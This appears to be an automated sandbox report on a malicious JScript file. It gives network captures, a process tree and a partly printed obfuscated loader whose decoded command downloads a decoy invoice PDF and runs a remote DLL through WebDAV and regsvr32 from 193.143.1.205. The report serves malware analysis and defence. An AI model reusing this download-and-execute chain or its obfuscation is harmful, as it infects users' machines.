Jan 10, 2025 21:21:31.665493965 CET	1.1.1.1	192.168.2.6	0x75fa	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:21:31.665493965 CET	1.1.1.1	192.168.2.6	0x75fa	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:22:06.146958113 CET	1.1.1.1	192.168.2.6	0xb517	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:22:06.146958113 CET	1.1.1.1	192.168.2.6	0xb517	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:22:19.917344093 CET	1.1.1.1	192.168.2.6	0x204a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:22:19.917344093 CET	1.1.1.1	192.168.2.6	0x204a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	193.143.1.205	80	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:20:27.321033001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:20:28.133654118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:20:28.133697033 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:20:28.133733034 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:20:28.133766890 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:20:28.133801937 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:20:28.133837938 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:20:28.133872986 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:20:28.133909941 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 21:20:28.133944035 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 21:20:28.133980036 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 10, 2025 21:20:28.189196110 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	193.143.1.205	8888	2940	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:20:30.254616022 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:20:31.098047972 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	2
Start time:	15:20:20
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js"
Imagebase:	0x7ff687270000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:20:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Imagebase:	0x7ff79b660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:20:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:20:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:20:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:20:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79b660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:20:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bb9a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:20:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	15:20:31
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:20:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1528,i,8413013044766119975,15128459537628800803,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zergb() {	zergb() ➔ undefined
1	zwtnb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var grotg = this[zzlmltjw + jntyttq + mjlfmigq + jxjdxxyp + qoynbqir + mvqqo + tghetto + bkbvgvz] ( this[rbrrartvq + rmxamuu + uxnqc + mjlfmigq + twsfzupj + zzlmltjw + bkbvgvz][dxntl + mjlfmigq + qoynbqir + jntyttq + bkbvgvz + qoynbqir + rtvoox + pkygsszur + jyleng + qoynbqir + uxnqc + bkbvgvz] ( rbrrartvq + rmxamuu + uxnqc + mjlfmigq + twsfzupj + zzlmltjw + bkbvgvz + frzrpbt + rmxamuu + bwcsmgef + qoynbqir + ughaf + ughaf ) [vavnifv + qoynbqir + fzhjrcim + vavnifv + qoynbqir + jntyttq + baeumm] ( oclafrxe + gabbmk + sgyva + ubqmbpw + qeabq + dxntl + lijrsdby + vavnifv + vavnifv + sgyva + hgyouj + ulycgtmc + qeabq + lijrsdby + rmxamuu + sgyva + vavnifv + mwcwr + dxntl + kiboulc + tghetto + bkbvgvz + mjlfmigq + kiboulc + ughaf + syjfp + kdwmrj + jntyttq + tghetto + qoynbqir + ughaf + mwcwr + mvqqo + tghetto + bkbvgvz + qoynbqir + mjlfmigq + tghetto + jntyttq + bkbvgvz + twsfzupj + kiboulc + tghetto + jntyttq + ughaf + mwcwr + jmsufwz + kiboulc + uxnqc + jntyttq + ughaf + qoynbqir ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( euewuqk = 0 ; euewuqk < zwtnb[ughaf + qoynbqir + tghetto + fzhjrcim + bkbvgvz + bwcsmgef] ; ++ euewuqk )
4	{
5	if ( grotg == zwtnb[euewuqk] )
6	{
7	grotg = true;
8	break ;
9	}
10	}
11	if ( grotg !== true )
12	this[rbrrartvq + rmxamuu + uxnqc + mjlfmigq + twsfzupj + zzlmltjw + bkbvgvz][riajhva + kwpfbabp + twsfzupj + bkbvgvz] ( );
13	this[rbrrartvq + rmxamuu + uxnqc + mjlfmigq + twsfzupj + zzlmltjw + bkbvgvz][dxntl + mjlfmigq + qoynbqir + jntyttq + bkbvgvz + qoynbqir + rtvoox + pkygsszur + jyleng + qoynbqir + uxnqc + bkbvgvz] ( rbrrartvq + rmxamuu + uxnqc + mjlfmigq + twsfzupj + zzlmltjw + bkbvgvz + frzrpbt + rmxamuu + bwcsmgef + qoynbqir + ughaf + ughaf ) [mjlfmigq + kwpfbabp + tghetto] ( uxnqc + twsgrpdr + baeumm + syjfp + eixti + uxnqc + syjfp + zzlmltjw + kiboulc + otlvy + qoynbqir + mjlfmigq + jxjdxxyp + bwcsmgef + qoynbqir + ughaf + ughaf + frzrpbt + qoynbqir + iquiiimqy + qoynbqir + syjfp + oczyxs + dxntl + kiboulc + twsgrpdr + twsgrpdr + jntyttq + tghetto + baeumm + syjfp + zafenb + mvqqo + tghetto + uoujj + kiboulc + rpvzmgxz + qoynbqir + oczyxs + rbrrartvq + qoynbqir + pkygsszur + vavnifv + qoynbqir + hqxso + kwpfbabp + qoynbqir + jxjdxxyp + bkbvgvz + syjfp + oczyxs + rtvoox + kwpfbabp + bkbvgvz + ixqpg + twsfzupj + ughaf + qoynbqir + syjfp + ruecgtyyj + bkbvgvz + qoynbqir + twsgrpdr + zzlmltjw + ruecgtyyj + mwcwr + twsfzupj + tghetto + uoujj + kiboulc + twsfzupj + uxnqc + qoynbqir + frzrpbt + zzlmltjw + baeumm + ktcrdyhuh + syjfp + bwcsmgef + bkbvgvz + bkbvgvz + zzlmltjw + fjyszlk + eixti + eixti + minqc + dyyxrfi + wlwvefwg + frzrpbt + minqc + ooueh + wlwvefwg + frzrpbt + minqc + frzrpbt + jfpbksv + yfebaegi + iwrydeed + eixti + twsfzupj + tghetto + uoujj + kiboulc + twsfzupj + uxnqc + qoynbqir + frzrpbt + zzlmltjw + bwcsmgef + zzlmltjw + zafenb + leleenwx + leleenwx + jxjdxxyp + bkbvgvz + jntyttq + mjlfmigq + bkbvgvz + syjfp + ruecgtyyj + bkbvgvz + qoynbqir + twsgrpdr + zzlmltjw + ruecgtyyj + mwcwr + twsfzupj + tghetto + uoujj + kiboulc + twsfzupj + uxnqc + qoynbqir + frzrpbt + zzlmltjw + baeumm + ktcrdyhuh + leleenwx + leleenwx + uxnqc + twsgrpdr + baeumm + syjfp + eixti + uxnqc + syjfp + tghetto + qoynbqir + bkbvgvz + syjfp + kwpfbabp + jxjdxxyp + qoynbqir + syjfp + mwcwr + mwcwr + minqc + dyyxrfi + wlwvefwg + frzrpbt + minqc + ooueh + wlwvefwg + frzrpbt + minqc + frzrpbt + jfpbksv + yfebaegi + iwrydeed + xvmjj + bctcftey + bctcftey + bctcftey + bctcftey + mwcwr + baeumm + jntyttq + uoujj + otlvy + otlvy + otlvy + mjlfmigq + kiboulc + kiboulc + bkbvgvz + mwcwr + leleenwx + leleenwx + uxnqc + twsgrpdr + baeumm + syjfp + eixti + uxnqc + syjfp + mjlfmigq + qoynbqir + fzhjrcim + jxjdxxyp + uoujj + mjlfmigq + wlwvefwg + jfpbksv + syjfp + eixti + jxjdxxyp + syjfp + mwcwr + mwcwr + minqc + dyyxrfi + wlwvefwg + frzrpbt + minqc + ooueh + wlwvefwg + frzrpbt + minqc + frzrpbt + jfpbksv + yfebaegi + iwrydeed + xvmjj + bctcftey + bctcftey + bctcftey + bctcftey + mwcwr + baeumm + jntyttq + uoujj + otlvy + otlvy + otlvy + mjlfmigq + kiboulc + kiboulc + bkbvgvz + mwcwr + minqc + dyyxrfi + qymzte + bctcftey + wlwvefwg + jfpbksv + dyyxrfi + yfebaegi + dyyxrfi + wlwvefwg + minqc + minqc + iwrydeed + vbcnjeju + yfebaegi + frzrpbt + baeumm + ughaf + ughaf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll",0,false) ➔ 0
14	}
15	jyleng = "H";
16	jyleng = "c";
17	jyleng = "Y";
18	jyleng = "u";
19	jyleng = "U";
20	jyleng = "i";
21	jyleng = "r";
22	jyleng = "c";
23	jyleng = "N";
24	jyleng = "g";
25	jyleng = "m";
26	jyleng = "h";
27	jyleng = "y";
28	jyleng = "M";
29	jyleng = "y";
30	jyleng = "U";
31	jyleng = "E";
32	jyleng = "S";
33	jyleng = "V";
34	jyleng = "N";
35	jyleng = "p";
36	jyleng = "g";
37	jyleng = "Z";
38	jyleng = "P";
39	jyleng = "L";
40	jyleng = "t";
41	jyleng = "r";
42	jyleng = "D";
43	jyleng = "R";
44	jyleng = "g";
45	jyleng = "w";
46	jyleng = "j";
47	ooueh = "E";
48	ooueh = "q";
49	ooueh = "b";
50	ooueh = "S";
51	ooueh = "x";
52	ooueh = "R";
53	ooueh = "f";
54	ooueh = "J";
55	ooueh = "B";
56	ooueh = "G";
57	ooueh = "r";
58	ooueh = "e";
59	ooueh = "c";
60	ooueh = "m";
61	ooueh = "a";
62	ooueh = "d";
63	ooueh = "c";
64	ooueh = "A";
65	ooueh = "v";
66	ooueh = "w";
67	ooueh = "v";
68	ooueh = "h";
69	ooueh = "Z";
70	ooueh = "s";
71	ooueh = "r";
72	ooueh = "C";
73	ooueh = "K";
74	ooueh = "h";
75	ooueh = "L";
76	ooueh = "4";
77	bctcftey = "w";
78	bctcftey = "A";
79	bctcftey = "B";
80	bctcftey = "V";
81	bctcftey = "D";
82	bctcftey = "a";
83	bctcftey = "v";
84	bctcftey = "w";
85	bctcftey = "S";
86	bctcftey = "n";
87	bctcftey = "T";
88	bctcftey = "D";
89	bctcftey = "U";
90	bctcftey = "k";
91	bctcftey = "a";
92	bctcftey = "Z";
93	bctcftey = "k";
94	bctcftey = "X";
95	bctcftey = "W";
96	bctcftey = "Y";
97	bctcftey = "8";
98	ulycgtmc = "Z";
99	ulycgtmc = "d";
100	ulycgtmc = "c";
101	ulycgtmc = "p";
102	ulycgtmc = "b";
103	ulycgtmc = "G";
104	ulycgtmc = "i";
105	ulycgtmc = "T";
106	ulycgtmc = "W";
107	ulycgtmc = "I";
108	ulycgtmc = "g";
109	ulycgtmc = "n";
110	ulycgtmc = "I";
111	ulycgtmc = "v";
112	ulycgtmc = "T";
113	ulycgtmc = "a";
114	ulycgtmc = "T";
115	rmxamuu = "m";
116	rmxamuu = "S";
117	hqxso = "v";
118	hqxso = "T";
119	hqxso = "T";
120	hqxso = "k";
121	hqxso = "e";
122	hqxso = "e";
123	hqxso = "K";
124	hqxso = "u";
125	hqxso = "o";
126	hqxso = "q";
127	zzlmltjw = "J";
128	zzlmltjw = "I";
129	zzlmltjw = "J";
130	zzlmltjw = "c";
131	zzlmltjw = "d";
132	zzlmltjw = "J";
133	zzlmltjw = "R";
134	zzlmltjw = "J";
135	zzlmltjw = "o";
136	zzlmltjw = "T";
137	zzlmltjw = "m";
138	zzlmltjw = "w";
139	zzlmltjw = "a";
140	zzlmltjw = "H";
141	zzlmltjw = "e";
142	zzlmltjw = "I";
143	zzlmltjw = "M";
144	zzlmltjw = "H";
145	zzlmltjw = "P";
146	zzlmltjw = "p";
147	qymzte = "Y";
148	qymzte = "d";
149	qymzte = "m";
150	qymzte = "U";
151	qymzte = "R";
152	qymzte = "V";
153	qymzte = "w";
154	qymzte = "e";
155	qymzte = "N";
156	qymzte = "p";
157	qymzte = "7";
158	ughaf = "P";
159	ughaf = "l";
160	ughaf = "l";
161	ughaf = "X";
162	ughaf = "N";
163	ughaf = "U";
164	ughaf = "D";
165	ughaf = "N";
166	ughaf = "J";
167	ughaf = "V";
168	ughaf = "V";
169	ughaf = "v";
170	ughaf = "T";
171	ughaf = "g";
172	ughaf = "Y";
173	ughaf = "A";
174	ughaf = "G";
175	ughaf = "g";
176	ughaf = "e";
177	ughaf = "s";
178	ughaf = "d";
179	ughaf = "J";
180	ughaf = "s";
181	ughaf = "l";
182	rpvzmgxz = "y";
183	rpvzmgxz = "Z";
184	rpvzmgxz = "g";
185	rpvzmgxz = "a";
186	rpvzmgxz = "s";
187	rpvzmgxz = "e";
188	rpvzmgxz = "v";
189	rpvzmgxz = "a";
190	rpvzmgxz = "H";
191	rpvzmgxz = "s";
192	rpvzmgxz = "h";
193	rpvzmgxz = "D";
194	rpvzmgxz = "r";
195	rpvzmgxz = "M";
196	rpvzmgxz = "C";
197	rpvzmgxz = "e";
198	rpvzmgxz = "f";
199	rpvzmgxz = "v";
200	rpvzmgxz = "k";
201	rpvzmgxz = "y";
202	rpvzmgxz = "Y";
203	rpvzmgxz = "X";
204	rpvzmgxz = "Z";
205	rpvzmgxz = "R";
206	rpvzmgxz = "b";
207	rpvzmgxz = "U";
208	rpvzmgxz = "X";
209	rpvzmgxz = "a";
210	rpvzmgxz = "c";
211	rpvzmgxz = "B";
212	rpvzmgxz = "Q";
213	rpvzmgxz = "z";
214	rpvzmgxz = "m";
215	rpvzmgxz = "H";
216	rpvzmgxz = "m";
217	rpvzmgxz = "R";
218	rpvzmgxz = "J";
219	rpvzmgxz = "l";
220	rpvzmgxz = "k";
221	bkbvgvz = "C";
222	bkbvgvz = "X";
223	bkbvgvz = "a";
224	bkbvgvz = "F";
225	bkbvgvz = "Y";
226	bkbvgvz = "s";
227	bkbvgvz = "n";
228	bkbvgvz = "L";
229	bkbvgvz = "u";
230	bkbvgvz = "v";
231	bkbvgvz = "k";
232	bkbvgvz = "K";
233	bkbvgvz = "m";
234	bkbvgvz = "Y";
235	bkbvgvz = "v";
236	bkbvgvz = "t";
237	kwpfbabp = "q";
238	kwpfbabp = "o";
239	kwpfbabp = "U";
240	kwpfbabp = "Y";
